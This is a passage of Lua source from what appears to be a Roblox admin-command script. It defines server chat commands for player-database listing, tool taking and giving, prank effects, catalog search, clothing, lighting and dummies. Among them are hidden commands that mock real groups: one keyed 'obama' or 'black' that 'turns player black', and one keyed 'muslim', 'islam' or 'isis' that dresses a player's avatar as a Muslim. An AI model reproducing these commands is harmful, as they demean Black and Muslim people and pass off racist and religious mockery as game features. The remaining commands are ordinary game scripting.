7022 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7023 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7024 local TmpPlayers = {}
7025 local Output = {}
7026 for _,Data in pairs(Players) do
7027 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7028 end
7029 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7030 end};
7031
7032 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7033 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7034 GUI:SendHint(Speaker, "Player Database cleared", 5)
7035 end};
7036
7037 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7038 local Players = STRING:Scan(Arguments[1], Speaker)
7039 for _,Player in pairs(Players) do
7040 GUI:FakeHack(Player)
7041 end
7042 end};
7043
7044 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7045 local Players = STRING:Scan(Arguments[1], Speaker)
7046 for _,Player in pairs(Players) do
7047 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7048 for _,Object in pairs(Player.Backpack:GetChildren()) do
7049 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7050 local Clone = Object:Clone()
7051 Clone.Parent = Speaker.Backpack
7052 end
7053 end
7054 end
7055 end
7056 end};
7057
7058 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7059 local Players = STRING:Scan(Arguments[1], Speaker)
7060 for _,Player in pairs(Players) do
7061 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7062 for _,Object in pairs(Player.Backpack:GetChildren()) do
7063 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7064 Object.Parent = Speaker.Backpack
7065 end
7066 end
7067 end
7068 end
7069 end};
7070
7071 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7072 local Players = STRING:Scan(Arguments[1], Speaker)
7073 for _,Player in pairs(Players) do
7074 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7075 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7076 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7077 local Clone = Object:Clone()
7078 Clone.Parent = Player.Backpack
7079 end
7080 end
7081 end
7082 end
7083 end};
7084
7085 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7086 local Players = STRING:Scan(Arguments[1], Speaker)
7087 for _,Player in pairs(Players) do
7088 if Player:FindFirstChild("Backpack") then
7089 Player.Backpack:ClearAllChildren()
7090 end
7091 if Player.Character ~= nil then
7092 for _,Obj in pairs(Player.Character:GetChildren()) do
7093 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7094 Obj:Destroy()
7095 end
7096 end
7097 end
7098 end
7099 end};
7100
7101 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7102 local Players = STRING:Scan(Arguments[1], Speaker)
7103 for _,Player in pairs(Players) do
7104 if Player.Character then
7105 if Player.Character:FindFirstChild("Head") then
7106 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7107 coroutine.wrap(function()
7108 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7109 local OldFace = Player.Character.Head.face.Texture
7110 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7111 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7112 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7113 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7114 Sound:Play()
7115 coroutine.wrap(function() for i = 1,100 do wait()
7116 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7117 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7118 end
7119 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7120 end end
7121 end)()
7122 end
7123 end
7124 end
7125 end
7126 end};
7127
7128 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7129 local Players = STRING:Scan(Arguments[1], Speaker)
7130 for _,Player in pairs(Players) do
7131 if Player.Character then
7132 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7133 coroutine.wrap(function()
7134 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7135 local OldFace = Player.Character.Head.face.Texture
7136 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7137 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7138 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7139 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7140 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7141 Sound:Play()
7142 wait(1)
7143 Smoke.Enabled = false
7144 wait(1)
7145 Fart:Destroy()
7146 Fart:Destroy()
7147 Player.Character.Head.face.Texture = OldFace
7148 end end
7149 end)()
7150 end
7151 end
7152 end
7153 end};
7154
7155 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7156 local Players = STRING:Scan(Arguments[1], Speaker)
7157 for _,Player in pairs(Players) do
7158 if Player:FindFirstChild("Backpack") then
7159 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7160 end
7161 end
7162 end};
7163
7164 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7165 local Players = STRING:Scan(Arguments[1], Speaker)
7166 for _,Player in pairs(Players) do
7167 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7168 Player.Character.MMLGraffiti:ClearAllChildren()
7169 end
7170 end
7171 end};
7172
7173 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7174 local Players = STRING:Scan(Arguments[1], Speaker)
7175 for _,Player in pairs(Players) do
7176 if Player.Character and Player.Character:FindFirstChild("Torso") then
7177 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7178 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7179 end
7180 end
7181 end};
7182
7183 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7184 local Players = STRING:Scan(Arguments[1], Speaker)
7185 for _,Player in pairs(Players) do
7186 if Player.Character and Player.Character:FindFirstChild("Torso") then
7187 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7188 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7189 end
7190 end
7191 end};
7192
7193 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7194 local Players = STRING:Scan(Arguments[1], Speaker)
7195 for _,Player in pairs(Players) do
7196 if Player.Character and Player.Character:FindFirstChild("Torso") then
7197 local Lights = {}
7198 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7199 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7200 table.insert(Lights, Obj)
7201 end
7202 end
7203 for _,Light in pairs(Lights) do
7204 coroutine.wrap(function()
7205 for i = 1,20 do
7206 Light.Brightness = Light.Brightness/5
7207 wait()
7208 end
7209 Light:Destroy()
7210 end)()
7211 end
7212 end
7213 end
7214 end};
7215
7216 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7217 local Players = STRING:Scan(Arguments[1], Speaker)
7218 for _,Player in pairs(Players) do
7219 if Player.Character and Player:FindFirstChild("PlayerGui") then
7220 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7221 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7222 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7223 local Stop = false
7224 coroutine.wrap(function()
7225 repeat
7226 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7227 wait(0.1)
7228 until not SG or not SG.Parent
7229 end)()
7230 CORE:ExecuteResource("Drug", Player.Character)
7231 end
7232 end
7233 end};
7234
7235 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7236 local Players = STRING:Scan(Arguments[1], Speaker)
7237 for _,Player in pairs(Players) do
7238 if Player:FindFirstChild("PlayerGui") then
7239 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7240 wait() CORE:RestoreCamera(Player)
7241 end
7242 end
7243 end};
7244
7245 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7246 local AbuseMode = false
7247 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7248 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7249 if Speaker:FindFirstChild("Backpack") then
7250 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7251 end
7252 end)
7253 end, Http = true};
7254
7255 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7256 local Type = "all"
7257 local Query = string.lower(Arguments[1])
7258 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7259 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7260 Type = Arguments[1]
7261 Query = Arguments[2]
7262 end
7263 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7264 if Speaker.Character then
7265 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7266 end
7267 end, MARKET:AccessoryToSubcategory(Type))
7268 end, Http = true};
7269
7270 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7271 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7272 if Speaker.Character then
7273 CORE:GivePackage(Speaker, ID)
7274 end
7275 end, 11)
7276 end, Http = false};
7277
7278 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7279 local Players = STRING:Scan(Arguments[1], Speaker)
7280 for _,Player in pairs(Players) do
7281 CORE:GivePackage(Player)
7282 end
7283 end};
7284
7285 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7286 local Players = STRING:Scan(Arguments[1], Speaker)
7287 for _,Player in pairs(Players) do
7288 CORE:GivePackage(Player, Arguments[2])
7289 end
7290 end, Http = false};
7291
7292 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7293 local Players = STRING:Scan(Arguments[1], Speaker)
7294 for _,Player in pairs(Players) do
7295 local Stats = Player:FindFirstChild("leaderstats")
7296 if Stats ~= nil then
7297 for _,Stat in pairs(Stats:GetChildren()) do
7298 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7299 ypcall(function() Stat.Value = Arguments[3] end)
7300 end
7301 end
7302 end
7303 end
7304 end};
7305
7306 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7307 local ID = tonumber(Arguments[2])
7308 local Players = STRING:Scan(Arguments[1], Speaker)
7309 for _,Player in pairs(Players) do
7310 for _,Player in pairs(Players) do
7311 if Player.Character ~= nil then
7312 local Obj = Player.Character:FindFirstChild("Shirt")
7313 if Obj then
7314 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7315 else
7316 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7317 end
7318 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7319 end
7320 end
7321 end
7322 end};
7323
7324 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7325 local ID = tonumber(Arguments[2])
7326 local Players = STRING:Scan(Arguments[1], Speaker)
7327 for _,Player in pairs(Players) do
7328 for _,Player in pairs(Players) do
7329 if Player.Character ~= nil then
7330 local Obj = Player.Character:FindFirstChild("Pants")
7331 if Obj then
7332 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7333 else
7334 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7335 end
7336 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7337 end
7338 end
7339 end
7340 end};
7341
7342 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7343 local ID = tonumber(Arguments[2])
7344 local Players = STRING:Scan(Arguments[1], Speaker)
7345 for _,Player in pairs(Players) do
7346 for _,Player in pairs(Players) do
7347 if Player.Character ~= nil then
7348 if Player.Character:FindFirstChild("Torso") then
7349 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7350 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7351 if Obj1 then
7352 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7353 else
7354 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7355 end
7356 if Obj2 then
7357 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7358 else
7359 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7360 end
7361 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7362 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7363 end
7364 end
7365 end
7366 end
7367 end};
7368
7369 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7370 local Players = STRING:Scan(Arguments[1], Speaker)
7371 for _,Player in pairs(Players) do
7372 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7373 end
7374 end};
7375
7376 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7377 if CORE:InAdminGroup(Speaker) then
7378 local Players = STRING:Scan(Arguments[1], Speaker)
7379 for _,Player in pairs(Players) do
7380 if Player:FindFirstChild("Backpack") then
7381 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7382 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7383 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7384 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7385 CORE:ExecuteResource("CookieTool", Tool)
7386 end
7387 end
7388 end
7389 end};
7390
7391 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7392 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7393 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7394 end
7395 end};
7396
7397 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7398 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7399 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7400 Model:MakeJoints()
7401 for i = 1,math.random(10,20) do
7402 Model.Name = Model.Name..string.char(math.random(97,122))
7403 end
7404 if Model:GetChildren()[1] then
7405 table.insert(Objects, Model)
7406 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7407 end
7408 end
7409 end};
7410
7411 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7412 local ID = tonumber(Arguments[2])
7413 local Players = STRING:Scan(Arguments[1], Speaker)
7414 for _,Player in pairs(Players) do
7415 if Player.Character then
7416 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7417 end
7418 end
7419 end};
7420
7421 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7422 local Players = STRING:Scan(Arguments[1], Speaker)
7423 for _,Player in pairs(Players) do
7424 if Player.Character then
7425 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7426 if StopAnim then StopAnim:Destroy() end
7427 end
7428 end
7429 end};
7430
7431 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7432 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7433 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7434 end
7435 end};
7436
7437 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7438 if tonumber(Arguments[1]) then
7439 Server.Lighting.Brightness = tonumber(Arguments[1])
7440 end
7441 end};
7442
7443 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7444 local Players = STRING:Scan(Arguments[1], Speaker)
7445 for _,Player in pairs(Players) do
7446 GUI:CoreGui(Player, "PlayerList", true)
7447 end
7448 end};
7449
7450 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7451 local Players = STRING:Scan(Arguments[1], Speaker)
7452 for _,Player in pairs(Players) do
7453 local Players = STRING:Scan(Arguments[1], Speaker)
7454 GUI:CoreGui(Player, "PlayerList", false)
7455 end
7456 end};
7457
7458 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7459 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7460 end, Hidden = true};
7461
7462 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7463 local Players = STRING:Scan(Arguments[1], Speaker)
7464 for _,Player in pairs(Players) do
7465 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7466 end
7467 end, Hidden = true};
7468
7469 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7470 local Players = STRING:Scan(Arguments[1], Speaker)
7471 for _,Player in pairs(Players) do
7472 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7473 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7474 Player:ClearCharacterAppearance()
7475 CORE:Insert(12436480, Player.Character, true)
7476 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7477 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7478 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7479 end
7480 end
7481 end, Hidden = true};
7482
7483 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 CORE:ChangeCharacter(Player, 0, false, Speaker)
7487 end
7488 end};
7489
7490 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7491 ShouldFilter = false
7492 end, Hidden = true};
7493
7494 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7495 local Bet = Arguments[1]
7496 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7497 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7498 elseif #Bet > 5 then
7499 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7500 else
7501 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7502 if Answer == "Yes" then
7503 local OldBet = Settings.Bet
7504 CORE:ChangeBet(Bet)
7505 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7506 end
7507 end
7508 end};
7509
7510 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7511 local Prefix = Arguments[1]
7512 if #Prefix > 5 then
7513 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7514 else
7515 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7516 if Answer == "Yes" then
7517 local OldPrefix = Settings.Prefix
7518 Settings.Prefix = Prefix
7519 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7520 end
7521 end
7522 end};
7523
7524 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7525 GUI:CommandBar(Speaker)
7526 end};
7527
7528 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7529 GUI:CommandBar(Speaker)
7530 PermCommandBars[Speaker.Name] = true
7531 end};
7532
7533 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7534 PermCommandBars[Speaker.Name] = nil
7535 end};
7536
7537 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7538 local Players = STRING:Scan(Arguments[1], Speaker)
7539 for _,Player in pairs(Players) do
7540 PermCommandBars[Player.Name] = nil
7541 end
7542 end};
7543
7544 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7545 CORE:CreateFigure("Dummy", nil, true, Speaker)
7546 end};
7547
7548 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7549 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7550 end};
7551
7552 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7553 local Players = STRING:Scan(Arguments[1], Speaker)
7554 for _,Player in pairs(Players) do
7555 CORE:ClonePlayer(Player)
7556 end
7557 end};
7558
7559 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7560 local Players = STRING:Scan(Arguments[1], Speaker)
7561 for _,Player in pairs(Players) do
7562 CORE:ClonePlayer(Player, Arguments[2])
7563 end
7564 end};
7565
7566 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7567 for _,Obj in pairs(Objects) do
7568 if Obj then Obj:Destroy() end
7569 end
7570 for Name,Jail in pairs(Jails) do
7571 if not game.Players:FindFirstChild(Name) then
7572 Jail:Destroy()
7573 Jails[Name] = nil
7574 end
7575 end
7576 Objects = {}
7577 end};
7578
7579 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7580 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7581 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7582 Obj:Destroy()
7583 end
7584 end
7585 end};
7586
7587 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7588 local Players = STRING:Scan(Arguments[1], Speaker)
7589 for _,Player in pairs(Players) do
7590 if Player.Character and Player.Character:FindFirstChild("Torso") then
7591 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7592 end
7593 end
7594 end};
7595
7596 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7597 local Players = STRING:Scan(Arguments[1], Speaker)
7598 for _,Player in pairs(Players) do
7599 if Player.Character and Player.Character:FindFirstChild("Torso") then
7600 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7601 end
7602 end
7603 end};
7604
7605 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7606 local Players = STRING:Scan(Arguments[1], Speaker)
7607 for _,Player in pairs(Players) do
7608 if Player.Character and Player.Character:FindFirstChild("Torso") then
7609 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7610 end
7611 end
7612 end};
7613
